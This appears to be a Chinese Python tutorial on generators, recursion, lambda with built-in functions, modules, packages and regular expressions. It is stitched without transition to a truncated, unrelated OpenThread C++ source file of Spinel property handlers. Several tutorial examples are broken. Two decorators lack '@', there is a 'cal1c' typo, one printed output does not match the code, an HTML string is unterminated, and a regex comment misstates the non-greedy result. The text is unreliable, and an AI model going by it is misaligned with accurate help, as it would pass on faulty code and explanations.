# 实现的功能是查找出root目录下所有包含xxx的文件，并将文件名返回;
import os
def init(func):
'''这个装饰器的作用：初始化一个生成器'''
def wrapper(*args,**kwargs):
res = func(*args,**kwargs)
next(res)
return res
return wrapper
init
def ergodic(target):
'''提取传入的目录下所有文件的绝对路径，发送给opener()'''
while True:
path = yield
file_list = os.walk(path)
for par_dir,_,files in file_list:
for file in files:
file_abs_path = r'%s\%s'%(par_dir,file)
target.send(file_abs_path)
init
def opener(target):
'''接收ergodic()传递的文件绝对路径，打开，并读取每行一内容，传递给grep()'''
while True:
file_abs_path = yield
with open(file_abs_path,encoding='utf-8') as f:
for line in f:
tag = target.send((file_abs_path,line))
if tag:
break
@init
def grep(target,pattern):
'''
接收opener()传递的每一行，判断pattern（需要搜索的关键字）是否在行中,\
然后将文件绝对路径传给printer()
'''
tag = False
while True:
file_abs_path,line = yield tag
tag = False
if pattern in line:
tag = True
target.send(file_abs_path)
@init
def printer():
'''打印文件绝对路径'''
while True:
file_abs_path = yield
print(file_abs_path)
gen = ergodic(opener(grep(printer(),'python')))
path = r'E:\python\s17\day05\练习\a'
gen.send(path)
执行结果：
E:\python\s17\day05\练习\a\a.txt
E:\python\s17\day05\练习\a\b\b.txt
E:\python\s17\day05\练习\a\b\c\d\d.txt
E:\python\s17\day05\练习\a\b1\b.txt
二、函数的递归调用
在函数调用过程中，直接或间接地调用了函数本身， 这就是函数的递归调用，如下示例：
def f1():
print('from f1')
f1()
f1()
注：上述代码，f1()的函数体内又调用了它本身，当在外部调用f1()时，会产生一个死循环（python默认递归调用设定为1000次，可以通过下述方法获取）；
import sys
print(sys.getrecursionlimit()) #获取python递归调用限制次数
sys.setrecursionlimit(100000) #设定递归调用限制次数
print(sys.getrecursionlimit())
# 输出结果：
1000
100000
递归的特性：
1. 必须有一个明确的结束条件；
2. 每次进入更深一层递归时，问题规模相比上次递归都应该有所减少；
3. 递归效率不高，递归层次过多会导致栈溢出（在计算机中，函数调用是通过栈（stack）这种数据结构实现的，每当进入一函数调用，栈就会加一层栈帧，每当函数返回，栈就会减一层帧。由于栈的大小不是无限的，所以递归调用的次数过多，会导致栈溢出）
堆栈扫盲，请点击查看
递归函数实际应用，二分查找：
l = [1, 2, 10,33,53,71,73,75,77,85,101,201,202,999,11111]
def search(find_num,seq):
if len(seq) == 0:
print('not exists')
return
mid_index=len(seq)//2
mid_num=seq[mid_index]
print(seq,mid_num)
if find_num > mid_num:
#in the right
seq=seq[mid_index+1:]
search(find_num,seq)
elif find_num < mid_num:
#in the left
seq=seq[:mid_index]
search(find_num,seq)
else:
print('found it')
search(77,l)
search(72,l) # 72不存在l数字列表中
输出结果：
[1, 2, 10, 33, 53, 71, 73, 75, 77, 85, 101, 201, 202, 999, 11111] 75
[77, 85, 101, 201, 202, 999, 11111] 201
[77, 85, 101] 85
[77] 77
您要查找的数字: 77
found it
[1, 2, 10, 33, 53, 71, 73, 75, 77, 85, 101, 201, 202, 999, 11111] 75
[1, 2, 10, 33, 53, 71, 73] 33
[53, 71, 73] 71
[73] 73
not exists
三、匿名函数lambda
匿名函数就是不需要显式的指定函数
python 使用 lambda 来创建匿名函数。
• lambda只是一个表达式，函数体比def简单很多。
• lambda的主体是一个表达式，而不是一个代码块。仅仅能lambda表达式中封装有限的逻辑进去。
• lambda函数拥有自己的命名空间，且不能访问自有参数列表之外或全局命名空间里的参数。
• 虽然lambda函数看起来只能写一行，却不等同于C或C++的内联函数，后者的目的是调用小函数时不占用栈内存从而增加运行效率。
语法
lambda函数的语法只包含一个语句，如下：
lambda [arg1 [,arg2,.....argn]]:expression
如下实例：
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# 可写函数说明
sum = lambda arg1, arg2: arg1 + arg2;
# 调用sum函数
print("相加后的值为 : ", sum( 10, 20 ))
print("相加后的值为 : ", sum( 20, 20 ))
# 以上实例输出结果：
相加后的值为 : 30
相加后的值为 : 40
def calc(n):
return n**n
print(calc(3)) # 结果27
# 换成匿名函数
calc1=lambda x:x**x
print(cal1c(3)) # 结果27
lambda 会将：冒号后面的表达式结果返回
这么用，感觉好像匿名函数也没有什么用。
不过匿名函数主要是和其它函数搭配使用的。
如下，将匿名函数和内置函数max()、min()、sorted()、zip()。。。结合起来使用
max()
max()函数的功能是获取序列最大值
以下例子用max()函数获取工资最高的人名
salaries={
'egon':3000,
'alex':100000000,
'wupeiqi':10000,
'yuanhao':2000
}
def func(k):
return salaries[k]
res = max(salaries,key=func) #1
print(res)
# 输出结果：
alex
#1 max()函数会遍历字典salaries中的key，将key当作参数传给函数func() ,然后函数func()返回key对应的value然后赋值给max()括号中的key，并根据这个key进行比较，然后返回工资最高的人名
将以上代码通过匿名函数简化：
salaries={
'egon':3000,
'alex':100000000,
'wupeiqi':10000,
'yuanhao':2000
}
res = max(salaries,key=lambda k:salaries[k])
print(res)
# 输出结果：
alex
min()
获取序列最小值，用法和max()函数相同
salaries={
'egon':3000,
'alex':100000000,
'wupeiqi':10000,
'yuanhao':2000
}
res = min(salaries,key=lambda x:salaries[x])
print(res)
# 输出结果：
yuanhao
sorted()
序列化数据排序，默认是从小到大排序，加reverse=True关键字可以从大到小排序，用法也和max()类似
以下示例，输出工资从低到高的名字
salaries={
'egon':3000,
'alex':100000000,
'wupeiqi':10000,
'yuanhao':2000
}
print(sorted(salaries,key=lambda x:salaries[x]))
# 输出结果：
['yuanhao', 'egon', 'wupeiqi', 'alex']
reverse=True反向排序(从大到小)：
salaries={
'egon':3000,
'alex':100000000,
'wupeiqi':10000,
'yuanhao':2000
}
print(sorted(salaries,key=lambda x:salaries[x],reverse=True))
# 输出结果：
['alex', 'wupeiqi', 'egon', 'yuanhao']
map()
map()函数接收两个参数，一个是函数，一个是iterable（可迭代对象）,map将传入的函数依次作用到序列的每个元素，并把结果作为新的iterable返回。
以下示例 ，将不符合规范的名字变成符合规范的首字母大写的名字
name_li = ['adam','LISA','barI']
print(list(map(lambda x:x.capitalize(),name_li)))
# 输出结果：
['Adam', 'Lisa', 'Bari']
将每个名字末尾加上指定字符
name_list = ['alex','wupeiqi','yuanhao']
print(list(map(lambda x:x+'_god',name_list)))
# 输出结果：
['alex_god', 'wupeiqi_god', 'yuanhao_god']
reduce()
python2中reduce()还是一个单独的内置函数；python3中则将reduce()集成到functools包中了，使用之前需要先导入from functools import reduce
reduce把一个函数作用在一个序列[x1, x2, x3, ...]上，这个函数必须接收两个参数，reduce把结果继续和序列的下一个元素做累积计算，其效果就是：
reduce(f, [x1, x2, x3, x4]) = f(f(f(x1, x2), x3), x4)
# f假设是一个函数
如下示例，对一个序列求和
from functools import reduce
num_li = [1,2,3,4,5]
res = reduce(lambda x,y:x+y,num_li)
print(res)
# 输出结果：
15
reduce一个初始值：
from functools import reduce
num_li = [1,2,3,4,5]
res = reduce(lambda x,y:x+y,num_li,10)
print(res)
# 输出结果：
25
map()reduce()结合使用
将字典中的value取出并组合
def fn(x, y):
return x * 10 + y
def char2num(s):
return {'1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}[s]
print(reduce(fn, map(char2num, '13579')))
# 输出结果：
13579
filter()
filter函数用于过滤序列
map()类似，filter()也接收一个函数和一个序列。和map()不同的是，filter()把传入的函数依次作用于每个元素，然后根据返回值是True还是False决定保留还是丢弃该元素。
过虑以‘god’结尾的名字
name_li = ['alex_god', 'wupeiqi_god', 'yuanhao_god','egon']
res = filter(lambda x:x.endswith('god'),name_li)
# res 得到的是一个filter对象
# <filter object at 0x000...748>
print(list(res))
# 输出结果：
['alex_god', 'wupeiqi_god', 'yuanhao_god']
注意：
map()filter()函数返回的是一个Iterator，也就是一个惰性序列，所以要强迫map()filter()完成计算结果，需要用list()函数获得所有结果并返回list。
四、模块
1.什么是模块
一个模块就是一个包含了python定义和声明的文件，文件名就是模块名字加上.py的后缀
2. 为何要使用模块
• 如果你退出python解释器然后重新进入，那么你之前定义的函数或者变量都将丢失，因此我们通常将程序写到文件中以便永久保存下来，需要时就通过python test.py方式去执行，此时test.py被称为脚本script。
• 随着程序的发展，功能越来越多，为了方便管理，我们通常将程序分成一个个的文件，这样做程序的结构更清晰，方便管理。这时我们不仅仅可以把这些文件当做脚本去执行，还可以把他们当做模块来导入到其他的模块中，实现了功能的重复利用。
3. 导入模块
import ...from ... import ...两种
3.1 import
示例文件：smap.py, 文件名是spam.py , 模块名是spam
#spam.py
print('from the spam.py')
money=1000
def read1():
print('spam->read1->money',money)
def read2():
print('spam->read2 calling read')
read1()
def change():
global money
money=0
模块可以包含可执行的语句和函数的定义，这些语句的目的是初始化模块，它们只在模块名第一次遇到导入import语句时才执行，（import语句可以在程序中的任意位置使用，且针对同一个模块可以import多次，为了防止重复导入，python的优化手段是：第一次导入后就将模块名加载到内存中，后续的import语句仅是对已经加载到内存中的模块对象增加了一次引用，不会重新执行模块内的语句） 如下：
#test.py
import spam #只在第一次导入时才执行spam.py内代码,此处的显示效果是只打印一次'from the spam.py',当然其他的顶级代码也都被执行了,只不过没有显示效果.
import spam
import spam
import spam
'''
执行结果：
from the spam.py
'''
我们可以从sys.modules中找到当前已经加载的模块，sys.modules的结果是一个字典，内部包含模块名与模块对象的映射，该字典决定了导入模块时是否需要重新导入。
print(sys.modules)
# 输出结果
｛... ,'spam': <module 'spam' from 'E:\\python\\s17\\day05\\spam.py'>,...
首次import导入spam模块干的事：
1. 为源文件（spam模块）创建新的命名空间，要spam中定义的函数和方法若是使用到了global时，访问的就是这个名称空间；
2. 在新创建的全称空间中执行模块中包含的代码；
3. 创建名字spam来引用该命名空间，这个名字和变量名没什么区别，都是‘第一类的’，且使用spam.名字的方式可以访问spam.py文件中定义的名字，spam.名字与test.py中的名字来自两个完全不同的地方。
为模块起别名
import spam as sm
为已经导入的模块起别名的方式对编写可扩展的代码很有用，假设有两个模块xmlreader.py和csvreader.py，它们都定义了函数read_data(filename):用来从文件中读取一些数据，但采用不同的输入格式。可以编写代码来选择性地挑选读取模块，例如:
if file_format == 'xml':
import xmlreader as reader
elif file_format == 'csv':
import csvreader as reader
data=reader.read_date(filename)
在一行导入多个模块
import sys,os,re
3.2 from ... import ...
对比import spam，会将源文件的名称空间'spam'带到当前名称空间中，使用时必须是spam.名字的方式；
而from 语句相当于import，也会创建新的名称空间，但是将spam中的名字直接导入到当前的名称空间中，在当前名称空间中，直接使用名字就可以了。
from spam import read1,read2
这样在当前位置直接使用read1和read2就好了，执行时，仍然以spam.py文件全局名称空间
#测试一：导入的函数read1，执行时仍然回到spam.py中寻找全局变量money
#test.py
from spam import read1
money = 10
read1()
'''
执行结果：
from the spam.py
spam->read1->money 1000
'''
#测试二:导入的函数read2，执行时需要调用read1(),仍然回到spam.py中找read1()
#test.py
from spam import read2
def read1():
print('==========')
read2()
'''
执行结果:
from the spam.py
spam->read2 calling read
spam->read1->money 1000
'''
如果当前有重名的read1或read2，那么会覆盖导入的read1和read2
也支持as起别名
from spam import read1 as read
也支持导入多行
from spam import (read1,
read2,
money)
*from spam import ***
from spam import * 把spam中所有的不是以下划线(_)开头的名字都导入到当前位置，大部分情况下我们的python程序不应该使用这种导入方式，因为
你不知道你导入什么名字，很有可能会覆盖掉你之前已经定义的名字。而且可读性极其的差，在交互式环境中导入时没有问题。
可以使用__all__来控制 *
在spam.py中新增一行
__all__ = ['money','read1']
# 这样在另外一个文件用from spam import * 就只能导入列表中存在的两个名字
3.3 把模块当做脚本执行
我们可以通过模块的全局变量__name__来查看模块名:
当做脚本运行：
__name__ 等于 '__main__'
当做模块导入：
__name__ = 文件名
作用：用来控制 .py文件在不同的应用场景下执行不同的逻辑
#fib.py
def fib(n): # write Fibonacci series up to n
a, b = 0, 1
while b < n:
print(b, end=' ')
a, b = b, a+b
print()
def fib2(n): # return Fibonacci series up to n
result = []
a, b = 0, 1
while b < n:
result.append(b)
a, b = b, a+b
return result
# 如果是当做脚本执行，则会执行下列代码，当作模块导入时，则不会执行下述代码
if __name__ == "__main__":
import sys
fib(int(sys.argv[1]))
3.4 模块搜索路径
模块的查找顺序：
• 1.内存中已经加载的模块
• 2.内置模块
• 3.sys.path路径中包含的模块
需要特别注意的是：我们自定义的模块名不应该与系统内置模块重名。
在初始化后，python程序可以修改sys.path,路径放到前面的优先于标准库被加载。
import sys
sys.path.append('/a/b/c/d')
sys.path.insert(0,'/x/y/z') #排在前的目录，优先被搜索
注意：搜索时按照sys.path中从左到右的顺序查找，位于前的优先被查找，sys.path中还可能包含.zip归档文件和.egg文件，python会把.zip归档文件当成一个目录去处理。
#windows下的路径不加r开头，会语法错误
sys.path.insert(0,r'C:\Users\Administrator\PycharmProjects\a')
至于.egg文件是由setuptools创建的包，这是按照第三方python库和扩展时使用的一种常见格式，.egg文件实际上只是添加了额外元数据(如版本号，依赖项等)的.zip文件。
3.5 dir()函数
内建函数dir是用来查找模块中定义的名字，返回一个有序字符串列表
import spam
dir(spam)
如果没有参数,dir()列举出当前定义的名字
dir()不会列举出内建函数或者变量的名字，它们都被定义到了标准模块builtin中，可以列举出它们，
import builtins
dir(builtins)
五、包
包是一种通过使用‘.模块名’来组织python模块名称空间的方式。
1. 无论是import形式还是from...import形式，凡是在导入语句中（而不是在使用时）遇到带点的，都要第一时间提高警觉：这是关于包才有的导入语法；
2. 包是目录级的（文件夹级），文件夹是用来组成py文件（包的本质就是一个包含init.py文件的目录）
3. import导入文件时，产生名称空间中的名字来源于文件，import 包，产生的名称空间的名字同样来源于文件，即包下的init.py，导入包本质就是在导入该文件
注意事项：
1.关于包相关的导入语句也分为import和from ... import ...两种，但是无论哪种，无论在什么位置，在导入时都必须遵循一个原则：凡是在导入时带点的，点的左边都必须是一个包，否则非法。可以带有一连串的点，如item.subitem.subsubitem,但都必须遵循这个原则。
2.对于导入后，在使用时就没有这种限制了，点的左边可以是包,模块，函数，类(它们都可以用点的方式调用自己的属性)。
3.对比import item 和from item import name的应用场景：
如果我们想直接使用name那必须使用后者。
glance/ #Top-level package
├── __init__.py #Initialize the glance package
├── api #Subpackage for api
│ ├── __init__.py
│ ├── policy.py
│ └── versions.py
├── cmd #Subpackage for cmd
│ ├── __init__.py
│ └── manage.py
└── db #Subpackage for db
├── __init__.py
└── models.py
5.1 import
我们在与包glance同级别的文件中测试
import glance.db.models
glance.db.models.register_models('mysql')
5.2 from ... import ...
需要注意的是from后import导入的模块，必须是明确的一个不能带点，否则会有语法错误，如：from a import b.c是错误语法
我们在与包glance同级别的文件中测试
from glance.db import models
models.register_models('mysql')
from glance.db.models import register_models
register_models('mysql')
5.3 __init__.py文件
不管是哪种方式，只要是第一次导入包或者是包的任何其他部分，都会依次执行包下的init.py文件(我们可以在每个包的文件内都打印一行内容来验证一下)，这个文件可以为空，但是也可以存放一些初始化包的代码。
5.4 from glance.api import *
在讲模块时，我们已经讨论过了从一个模块内导入所有，此处我们研究从一个包导入所有
此处是想从包api中导入所有，实际上该语句只会导入包api下init.py文件中定义的名字，我们可以在这个文件中定义all_:
#在__init__.py中定义
x=10
def func():
print('from api.__init.py')
__all__=['x','func','policy']
此时我们在于glance同级的文件中执行from glance.api import *就导入all中的内容（versions仍然不能导入）。
5.5 绝对导入和相对导入
我们的最顶级包glance是写给别人用的，然后在glance包内部也会有彼此之间互相导入的需求，这时候就有绝对导入和相对导入两种方式：
绝对导入：以glance作为起始
相对导入：用.或者..的方式最为起始（只能在一个包中使用，不能用于不同目录内）
例如：我们在glance/api/version.py中想要导入glance/cmd/manage.py
在glance/api/version.py
#绝对导入
from glance.cmd import manage
manage.main()
#相对导入
from ..cmd import manage
manage.main()
测试结果：注意一定要在于glance同级的文件中测试
from glance.api import versions
注意：在使用pycharm时，有的情况会为你多做一些事情，这是软件相关的东西，会影响你对模块导入的理解，因而在测试时，一定要回到命令行去执行，模拟我们生产环境，你总不能拿着pycharm去上线代码吧！！！
特别需要注意的是：可以用import导入内置或者第三方模块（已经在sys.path中），但是要绝对避免使用import来导入自定义包的子模块(没有在sys.path中)，应该使用from... import ...的绝对或者相对导入,且包的相对导入只能用from的形式。
5.6 单独导入包
单独导入包名称时不会导入包中所有包含的所有子模块，如：
#在与glance同级的test.py中
import glance
glance.cmd.manage.main()
'''
执行结果：
AttributeError: module 'glance' has no attribute 'cmd'
'''
解决方法一：
#在glance/__init__.py中写：
import glance.cmd.manage
解决方法二：
1 #在glance/__init__.py中写：
2 from . import cmd
3
4 #在glance/cmd/__init__.py中写：
5 from . import manage
验证：
1 #在于glance同级的test.py中执行
2 import glance
3 glance.cmd.manage.main()
六、re模块
正则表达式常用匹配模式（元字符）
匹配模式
re模块提供的方法
import re
#1
print(re.findall('e','alex make love')) #返回结果['e', 'e', 'e'],返回所有满足匹配条件的结果,放在列表里
#2
print(re.search('e','alex make love').group()) #返回结果e,只到找到第一个匹配然后返回一个包含匹配信息的对象,该对象可以通过调用group()方法得到匹配的字符串,如果字符串没有匹配，则返回None。
#3
print(re.match('e','alex make love')) #返回None,同search,不过在字符串开始处进行匹配,完全可以用search+^代替match
#4
print(re.split('[ab]','cadbcd')) #返回['c', 'd', 'cd']，先按'a'分割得到'c'和'dbcd',再对'c'和'dbcd'分别按'b'分割,得到['c', 'd', 'cd']
#5
print('===>',re.sub('a','A','alex make love')) #===> Alex mAke love，不指定n，默认替换所有
print('===>',re.sub('a','A','alex make love',1)) #===> Alex make love
print('===>',re.sub('a','A','alex make love',2)) #===> Alex mAke love #替换前两个匹配
print('===>',re.sub('^(\w+)(.*?\s)(\w+)(.*?\s)(\w+)(.*?)$',r'\5\2\3\4\1','alex make love')) #===> love make alex #反向引用
#6
print('===>',re.subn('a','A','alex make love')) #===> ('Alex mAke love', 2),结果带有总共替换的个数
#6
obj=re.compile('\d{2}')
print(obj.search('abc123eeee').group()) #返回12
print(obj.findall('abc123eeee')) #返回['12'],重用了obj
# 补充一
import re
print(re.findall("<(?P<tag_name>\w+)>\w+</(?P=tag_name)>","<h1>hello</h1>")) #['h1']
print(re.search("<(?P<tag_name>\w+)>\w+</(?P=tag_name)>","<h1>hello</h1>").group()) #<h1>hello</h1>
print(re.search("<(?P<tag_name>\w+)>\w+</(?P=tag_name)>","<h1>hello</h1>").groupdict()) #<h1>hello</h1>
print(re.search(r"<(\w+)>\w+</(\w+)>","<h1>hello</h1>").group())
print(re.search(r"<(\w+)>\w+</\1>","<h1>hello</h1>").group())
# 补充二
import re
print(re.findall(r'-?\d+\.?\d*',"1-12*(60+(-40.35/5)-(-4*3))")) #找出所有数字['1', '-12', '60', '-40.35', '5', '-4', '3']
#使用|，先匹配的先生效，|左边是匹配小数，而findall最终结果是查看分组，所有即使匹配成功小数也不会存入结果
#而不是小数时，就去匹配(-?\d+)，匹配到的自然就是，非小数的数，在此处即整数
print(re.findall(r"-?\d+\.\d*|(-?\d+)","1-2*(60+(-40.35/5)-(-4*3))")) #找出所有整数['1', '-2', '60', '', '5', '-4', '3']
#_*_coding:utf-8_*_
__author__ = 'Linhaifeng'
#在线调试工具:tool.oschina.net/regex/#
import re
s='''
http://www.baidu.com
[email protected]
你好
010-3141
'''
#最常规匹配
# content='Hello 123 456 World_This is a Regex Demo'
# res=re.match('Hello\s\d\d\d\s\d{3}\s\w{10}.*Demo',content)
# print(res)
# print(res.group())
# print(res.span())
#泛匹配
# content='Hello 123 456 World_This is a Regex Demo'
# res=re.match('^Hello.*Demo',content)
# print(res.group())
#匹配目标,获得指定数据
# content='Hello 123 456 World_This is a Regex Demo'
# res=re.match('^Hello\s(\d+)\s(\d+)\s.*Demo',content)
# print(res.group()) #取所有匹配的内容
# print(res.group(1)) #取匹配的第一个括号内的内容
# print(res.group(2)) #去陪陪的第二个括号内的内容
#贪婪匹配:.*代表匹配尽可能多的字符
# import re
# content='Hello 123 456 World_This is a Regex Demo'
#
# res=re.match('^He.*(\d+).*Demo$',content)
# print(res.group(1)) #只打印6,因为.*会尽可能多的匹配,然后后面跟至少一个数字
#非贪婪匹配:?匹配尽可能少的字符
# import re
# content='Hello 123 456 World_This is a Regex Demo'
#
# res=re.match('^He.*?(\d+).*Demo$',content)
# print(res.group(1)) #只打印6,因为.*会尽可能多的匹配,然后后面跟至少一个数字
#匹配模式:.不能匹配换行符
content='''Hello 123456 World_This
is a Regex Demo
'''
# res=re.match('He.*?(\d+).*?Demo$',content)
# print(res) #输出None
# res=re.match('He.*?(\d+).*?Demo$',content,re.S) #re.S让.可以匹配换行符
# print(res)
# print(res.group(1))
#转义:\
# content='price is $5.00'
# res=re.match('price is $5.00',content)
# print(res)
#
# res=re.match('price is \$5\.00',content)
# print(res)
#总结:尽量精简,详细的如下
# 尽量使用泛匹配模式.*
# 尽量使用非贪婪模式:.*?
# 使用括号得到匹配目标:用group(n)去取得结果
# 有换行符就用re.S:修改模式
#re.search:会扫描整个字符串,不会从头开始,找到第一个匹配的结果就会返回
# import re
# content='Extra strings Hello 123 456 World_This is a Regex Demo Extra strings'
#
# res=re.match('Hello.*?(\d+).*?Demo',content)
# print(res) #输出结果为None
#
# import re
# content='Extra strings Hello 123 456 World_This is a Regex Demo Extra strings'
#
# res=re.search('Hello.*?(\d+).*?Demo',content) #
# print(res.group(1)) #输出结果为
#re.search:只要一个结果,匹配演练,
import re
content='''
<tbody>
<tr id="4766303201494371851675" class="even "><td><div class="hd"><span class="num">1</span><div class="rk "><span class="u-icn u-icn-75"></span></div></div></td><td class="rank"><div class="f-cb"><div class="tt"><a href="/song?id=476630320"></a><span data-res-id="476630320" "
# res=re.search('<a\shref=.*?<b\stitle="(.*?)".*?b>',content)
# print(res.group(1))
#re.findall:找到符合条件的所有结果
# res=re.findall('<a\shref=.*?<b\stitle="(.*?)".*?b>',content)
# for i in res:
# print(i)
#re.sub:字符串替换
import re
content='Extra strings Hello 123 456 World_This is a Regex Demo Extra strings'
# content=re.sub('\d+','',content)
# print(content)
#用\1取得第一个括号的内容
#用法:将123与456换位置
# import re
# content='Extra strings Hello 123 456 World_This is a Regex Demo Extra strings'
#
# # content=re.sub('(Extra.*?)(\d+)(\s)(\d+)(.*?strings)',r'\1\4\3\2\5',content)
# content=re.sub('(\d+)(\s)(\d+)',r'\3\2\1',content)
# print(content)
# import re
# content='Extra strings Hello 123 456 World_This is a Regex Demo Extra strings'
#
# res=re.search('Extra.*?(\d+).*strings',content)
# print(res.group(1))
# import requests,re
# respone=requests.get('https://book.douban.com/').text
# print(respone)
# print('======'*1000)
# print('======'*1000)
# print('======'*1000)
# print('======'*1000)
# res=re.findall('<li.*?cover.*?href="(.*?)".*?title="(.*?)">.*?more-meta.*?author">(.*?)</span.*?year">(.*?)</span.*?publisher">(.*?)</span.*?</li>',respone,re.S)
# # res=re.findall('<li.*?cover.*?href="(.*?)".*?more-meta.*?author">(.*?)</span.*?year">(.*?)</span.*?publisher">(.*?)</span>.*?</li>',respone,re.S)
#
#
# for i in res:
# print('%s %s %s %s' %(i[0].strip(),i[1].strip(),i[2].strip(),i[3].strip()))
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/*
* Copyright (c) 2018, The OpenThread Authors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @file
* This file implements general thread device required Spinel interface to the OpenThread stack.
*/
#include "ncp_base.hpp"
namespace ot {
namespace Ncp {
NcpBase::PropertyHandler NcpBase::FindGetPropertyHandler(spinel_prop_key_t aKey)
{
NcpBase::PropertyHandler handler;
switch (aKey)
{
// --------------------------------------------------------------------------
// Common Properties (Get Handler)
case SPINEL_PROP_CAPS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_CAPS>;
break;
case SPINEL_PROP_DEBUG_TEST_ASSERT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_DEBUG_TEST_ASSERT>;
break;
case SPINEL_PROP_DEBUG_TEST_WATCHDOG:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_DEBUG_TEST_WATCHDOG>;
break;
case SPINEL_PROP_DEBUG_NCP_LOG_LEVEL:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_DEBUG_NCP_LOG_LEVEL>;
break;
case SPINEL_PROP_HWADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_HWADDR>;
break;
case SPINEL_PROP_HOST_POWER_STATE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_HOST_POWER_STATE>;
break;
case SPINEL_PROP_INTERFACE_COUNT:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_INTERFACE_COUNT>;
break;
case SPINEL_PROP_INTERFACE_TYPE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_INTERFACE_TYPE>;
break;
case SPINEL_PROP_LAST_STATUS:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_LAST_STATUS>;
break;
case SPINEL_PROP_LOCK:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_LOCK>;
break;
case SPINEL_PROP_PHY_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PHY_ENABLED>;
break;
case SPINEL_PROP_PHY_CHAN:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PHY_CHAN>;
break;
case SPINEL_PROP_PHY_RSSI:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PHY_RSSI>;
break;
case SPINEL_PROP_PHY_RX_SENSITIVITY:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PHY_RX_SENSITIVITY>;
break;
case SPINEL_PROP_PHY_TX_POWER:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PHY_TX_POWER>;
break;
case SPINEL_PROP_POWER_STATE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_POWER_STATE>;
break;
case SPINEL_PROP_MCU_POWER_STATE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MCU_POWER_STATE>;
break;
case SPINEL_PROP_PROTOCOL_VERSION:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_PROTOCOL_VERSION>;
break;
case SPINEL_PROP_MAC_15_4_PANID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_15_4_PANID>;
break;
case SPINEL_PROP_MAC_15_4_LADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_15_4_LADDR>;
break;
case SPINEL_PROP_MAC_15_4_SADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_15_4_SADDR>;
break;
case SPINEL_PROP_MAC_RAW_STREAM_ENABLED:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_RAW_STREAM_ENABLED>;
break;
case SPINEL_PROP_MAC_PROMISCUOUS_MODE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_PROMISCUOUS_MODE>;
break;
case SPINEL_PROP_MAC_SCAN_STATE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_SCAN_STATE>;
break;
case SPINEL_PROP_MAC_SCAN_MASK:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_SCAN_MASK>;
break;
case SPINEL_PROP_MAC_SCAN_PERIOD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_SCAN_PERIOD>;
break;
case SPINEL_PROP_NCP_VERSION:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_NCP_VERSION>;
break;
case SPINEL_PROP_UNSOL_UPDATE_FILTER:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_UNSOL_UPDATE_FILTER>;
break;
case SPINEL_PROP_UNSOL_UPDATE_LIST:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_UNSOL_UPDATE_LIST>;
break;
case SPINEL_PROP_VENDOR_ID:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_VENDOR_ID>;
break;
// --------------------------------------------------------------------------
// MTD (or FTD) Properties (Get Handler)
#if OPENTHREAD_MTD || OPENTHREAD_FTD
case SPINEL_PROP_MAC_DATA_POLL_PERIOD:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_DATA_POLL_PERIOD>;
break;
case SPINEL_PROP_MAC_EXTENDED_ADDR:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_EXTENDED_ADDR>;
break;
case SPINEL_PROP_MAC_CCA_FAILURE_RATE:
handler = &NcpBase::HandlePropertyGet<SPINEL_PROP_MAC_CCA_FAILURE_RATE>;
break;
#if OPENTHREAD_ENABLE_MAC_FILTER
